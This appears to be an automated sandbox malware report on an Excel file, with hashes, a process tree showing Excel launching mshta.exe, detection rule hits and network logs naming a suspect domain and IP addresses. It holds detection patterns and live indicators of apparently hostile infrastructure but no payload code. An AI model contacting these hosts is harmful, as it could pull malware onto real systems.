Edit tour

Windows Analysis Report
POETDB24-25771.xla.xlsx

Overview

General Information

Sample name:	POETDB24-25771.xla.xlsx
Analysis ID:	1633349
MD5:	70ff76bdbb7897e2c3731021351facd3
SHA1:	107545e7202e995328364052a96083e743881acc
SHA256:	faf027205ff3109e74b13910c005ddb30148d1c9bb71f4d8739949d04a6be27d
Tags:	xlaxlsxuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (process start blacklist hit)

Sigma detected: Suspicious Microsoft Office Child Process

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Suricata IDS alerts with low severity for network traffic

Unable to load, office file is protected or invalid

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6456 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

mshta.exe (PID: 2848 cmdline: C:\Windows\SysWOW64\mshta.exe -Embedding MD5: 06B02D5C097C7DB1F109749C45F3F505)

splwow64.exe (PID: 4700 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

EXCEL.EXE (PID: 1048 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\POETDB24-25771.xla.xlsx" MD5: 4A871771235598812032C822E6F68F19)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\mshta.exe -Embedding, CommandLine: C:\Windows\SysWOW64\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 6456, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\SysWOW64\mshta.exe -Embedding, ProcessId: 2848, ProcessName: mshta.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 3.39.153.44, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6456, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49699

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.7, DestinationIsIpv6: false, DestinationPort: 49699, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6456, Protocol: tcp, SourceIp: 3.39.153.44, SourceIsIpv6: false, SourcePort: 443

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T09:27:00.031529+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	13.107.246.60	443	TCP
2025-03-10T09:27:08.233163+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	13.107.246.60	443	TCP
2025-03-10T09:27:08.297829+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	13.107.246.60	443	TCP
2025-03-10T09:27:08.379185+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	40.90.65.44	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: POETDB24-25771.xla.xlsx	Virustotal: Detection: 25%			Perma Link
Source: POETDB24-25771.xla.xlsx	ReversingLabs: Detection: 21%

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 3.39.153.44:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.90.65.44:443 -> 192.168.2.7:49703 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\mshta.exe

Source: global traffic	DNS query: name: link.saja.market
Source: global traffic	DNS query: name: otelrules.svc.static.microsoft
Source: global traffic	DNS query: name: otelrules.svc.static.microsoft

Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
